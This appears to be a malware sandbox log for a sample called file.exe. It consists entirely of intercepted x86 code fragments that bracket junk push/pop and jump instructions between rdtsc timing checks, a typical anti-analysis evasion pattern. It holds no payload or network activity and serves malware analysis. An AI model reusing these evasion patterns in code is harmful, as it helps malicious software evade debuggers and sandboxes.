Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14D4E55 second address: 14D4E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14D4E60 second address: 14D4E6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F6AA0FFB726h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14D4FF6 second address: 14D5006 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jne 00007F6AA0FF7BF6h 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14D5006 second address: 14D500C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14D5298 second address: 14D52A6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6AA0FF7BF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14DE524 second address: 14DE561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007F6AA0FFB739h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jns 00007F6AA0FFB726h 0x0000001c pushad 0x0000001d popad 0x0000001e jmp 00007F6AA0FFB72Ah 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14DE561 second address: 14DE566 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14DD0DA second address: 14DD0E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14DD0E2 second address: 14DD0E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14DD503 second address: 14DD507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14DD507 second address: 14DD519 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F6AA0FF7BF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14DD519 second address: 14DD534 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB737h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14DD534 second address: 14DD53A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14DD81D second address: 14DD821 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14DD821 second address: 14DD827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14DDCA2 second address: 14DDCBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6AA0FFB730h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14DDCBC second address: 14DDCC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14DDF86 second address: 14DDF8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14DDF8C second address: 14DDF92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14DDF92 second address: 14DDF96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14DDF96 second address: 14DDFA0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6AA0FF7BF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14DCBEF second address: 14DCBF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14DCBF3 second address: 14DCBF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14DCBF9 second address: 14DCC02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14E2FAD second address: 14E2FB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F6AA0FF7BF6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14E2FB9 second address: 14E2FBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14E2FBD second address: 14E2FCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6AA0FF7BF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14E2FCD second address: 14E2FD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14E29AC second address: 14E29B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14E2C90 second address: 14E2CAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB72Fh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14E4E35 second address: 14E4E39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14E4E39 second address: 14E4E64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB731h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007F6AA0FFB72Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 jnl 00007F6AA0FFB726h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14E89FF second address: 14E8A49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F6AA0FF7C05h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6AA0FF7C06h 0x00000013 pushad 0x00000014 jmp 00007F6AA0FF7BFDh 0x00000019 jp 00007F6AA0FF7BF6h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14E8A49 second address: 14E8A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14E8A4F second address: 14E8A54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14E8A54 second address: 14E8A5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14E8A5D second address: 14E8A63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14E8A63 second address: 14E8A6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14EDEC0 second address: 14EDEE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F6AA0FF7BF6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6AA0FF7C04h 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14EC8B3 second address: 14EC8C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6AA0FFB72Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14EC8C4 second address: 14EC90B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7BFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F6AA0FF7BFDh 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F6AA0FF7BFDh 0x0000001b push edx 0x0000001c jmp 00007F6AA0FF7C05h 0x00000021 pop edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14EC90B second address: 14EC911 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14ECD37 second address: 14ECD40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14ECD40 second address: 14ECD58 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6AA0FFB72Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F6AA0FFB726h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14ECED3 second address: 14ECEE6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jg 00007F6AA0FF7BF6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14ECEE6 second address: 14ECEEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A4566 second address: 14A45DA instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6AA0FF7BF8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F6AA0FF7C02h 0x00000010 nop 0x00000011 cmc 0x00000012 pushad 0x00000013 jmp 00007F6AA0FF7C05h 0x00000018 mov dword ptr [ebp+12463494h], esi 0x0000001e popad 0x0000001f mov ebx, dword ptr [ebp+1248F48Fh] 0x00000025 jmp 00007F6AA0FF7BFEh 0x0000002a add eax, ebx 0x0000002c jnc 00007F6AA0FF7BFCh 0x00000032 push eax 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F6AA0FF7C00h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14ED073 second address: 14ED07F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnc 00007F6AA0FFB726h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14EDBA2 second address: 14EDBB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6AA0FF7BFBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14EDBB1 second address: 14EDBC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB72Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14F1885 second address: 14F1889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14F1889 second address: 14F18B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB72Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6AA0FFB739h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14F100D second address: 14F1013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14F1013 second address: 14F1028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6AA0FFB72Ch 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14F1028 second address: 14F102E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14F102E second address: 14F1032 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14F1176 second address: 14F117A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14F117A second address: 14F118A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F6AA0FFB726h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14F118A second address: 14F118E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14F7FB1 second address: 14F7FB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14F7FB7 second address: 14F7FD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6AA0FF7C02h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14F7FD4 second address: 14F7FD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14F7FD8 second address: 14F7FDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14F8C6A second address: 14F8C9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F6AA0FFB730h 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e jp 00007F6AA0FFB739h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14F8FB8 second address: 14F8FBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14F9584 second address: 14F958F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14F958F second address: 14F959F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F6AA0FF7BFAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14F959F second address: 14F95BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB72Ch 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b pop eax 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14FCD2A second address: 14FCD2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14FCD2E second address: 14FCD34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14FCD34 second address: 14FCD40 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6AA0FF7BFEh 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14FD017 second address: 14FD025 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 je 00007F6AA0FFB726h 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14FD025 second address: 14FD03B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6AA0FF7C01h 0x00000008 jmp 00007F6AA0FF7BFBh 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14FD2C3 second address: 14FD2D0 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6AA0FFB726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14FEE6E second address: 14FEE74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14FEE74 second address: 14FEE7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14FEE7A second address: 14FEEAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F6AA0FF7BF6h 0x0000000a popad 0x0000000b jnc 00007F6AA0FF7C09h 0x00000011 jo 00007F6AA0FF7C0Eh 0x00000017 push ebx 0x00000018 pushad 0x00000019 popad 0x0000001a pop ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14FEEAC second address: 14FEEB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1508B8F second address: 1508B93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1508B93 second address: 1508B9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1508B9B second address: 1508BAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7BFBh 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1508D0F second address: 1508D13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1508D13 second address: 1508D19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1508D19 second address: 1508D27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F6AA0FFB726h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1508D27 second address: 1508D2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1508D2B second address: 1508D33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1508D33 second address: 1508D38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1508D38 second address: 1508D79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F6AA0FFB726h 0x0000000a jmp 00007F6AA0FFB72Ah 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 jmp 00007F6AA0FFB735h 0x0000001a jmp 00007F6AA0FFB731h 0x0000001f pop ebx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 150901B second address: 150901F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 150901F second address: 150903A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F6AA0FFB732h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 150903A second address: 1509040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1509040 second address: 1509046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 15092D2 second address: 15092D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1509433 second address: 150945B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6AA0FFB72Eh 0x0000000b pushad 0x0000000c jmp 00007F6AA0FFB72Dh 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 150A37C second address: 150A380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 150A380 second address: 150A384 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 150A384 second address: 150A39A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F6AA0FF7BF6h 0x00000010 jp 00007F6AA0FF7BF6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 150E432 second address: 150E43C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6AA0FFB72Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 150E43C second address: 150E449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jns 00007F6AA0FF7BF6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
